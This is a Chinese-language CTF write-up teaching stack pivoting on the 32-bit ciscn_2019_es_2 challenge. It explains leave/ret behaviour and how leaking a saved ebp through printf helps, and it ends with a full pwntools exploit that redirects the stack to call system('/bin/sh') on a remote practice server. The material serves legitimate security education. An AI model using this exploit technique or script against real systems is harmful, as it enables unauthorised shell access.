这题考察的是一个栈迁移的知识。作为入门学习栈迁移是个不可多得的好题。程序简单并且是32位的架构。保护也没有开,因此对于理解栈迁移再好不过了。看一下这题的基本信息:
栈迁移的基本原理其实就是栈的空间不够我们利用。也就是不不足以覆盖返回地址,更加不可能构造rop。因此需要迁移到空间足够大的地方去构造rop。因此我们需要能够控制ebp(64位rbp)。在汇编中,leave这个汇编指令就成为了我们的利用目标。当执行leave的时候计算机会执行两个步骤:
1.mov esp,ebp
2.pop ebp
还有就是ret指令,它将会执行如下操作:
1.pop eip
这两个指令配合着使用,能做到控制执行流并完成栈迁移。下面我们来看下IDA中的程序执行流程:
主函数会去调用vul()函数,vul函数的伪代码如下:
我们看到程序中会有一个数组s,大小是40个字节。memset函数是将s数组开始的0x20大小的空间填充成0。接着就是用户输入,大小是0x30。我们可以看到s数组在ebp-0x28的位置,但是我们最高只能输入0x30。因此我们连返回地址(ebp+4)的位置我们都够不着。更别说构造rop了。因此我们自然而然的能联想到栈迁移。我们还发现程序中有个类似后门的函数:
但是参数是错误的。并不能用。(我个人感觉这个后门是用来迷惑人的)现在我们纯手工去调试下源程序:
这里调用了第一个read函数,我输入了10个a。我们观察下栈的布局:
我们看到数组s的起始位置是ecx的值传递的。ebp中的值是一个栈上的值(old_ebp),这个值对于我们栈迁移是有用的。因此我们需要将他泄露出来。 Printf函数就是我们的利用点。他输出的时候会去找\0。如果没找到就一直输出。因此我们可以把栈上填满,然后在Printf的时候,不仅会把我们写的内容打印出来还会把栈上的东西也给打印出来:
我们可以看到在B后面连带着栈上的内容给输出了。因此我们只需要接收我们需要的部分:
讲解完如何泄露这个old_ebp。我们需要明白这个值是干嘛用的。因此再次进入调试中:
程序中,这个数组s会被用到两次(2次read函数)。也就是说这个栈空间会被再次利用。既然第一次利用空间不够,那么我们何不把这个栈扩大也就是用整一个s数组的空间来构造rop呢。画个图来解释下这个思想:
我们看到第二次我们已经将写好的payload布局在栈上了。我们泄露的地址的作用是用来诱导esp指向我们的数组s开始的位置。调试一下就会看的很清晰:
当程序走到leave的时候,我们观察此时的栈布局:
此时执行leave,这个时候ebp将会在esp的上面:
此时我们还需要一个leave,和ret的组合让栈恢复成正常的样子,因此此时esp指向的就是我们填入的0x80484b8(指向leave,ret的组合)继续跟下去:
再次执行leave:
我们看到此时esp已经指向了我们的system地址了。接着执行ret就会劫持执行流。下面的是system的参数,因为我们不能直接调用bin/sh字符串,因此我们布局的时候,需要传地址。因此才会如此布局。整个栈迁移的过程就完成了。下面是exp:
from pwn import *
context.arch = 'i386'
#context.log_level = 'debug'
#io=process("./ciscn_2019_es_2")
io=remote('node4.buuoj.cn',28832)
#gdb.attach(io)
payload1 = b'A' * (0x27) + b'B'
io.send(payload1)
io.recvuntil("B")
old_ebp = u32(io.recv(4))
print(hex(old_ebp))
#pause()
system_addr = 0x08048400
leave_ret = 0x080484b8
payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(old_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(old_ebp - 0x38)
payload2 += p32(leave_ret)
io.sendline(payload2)
#pause()
io.interactive()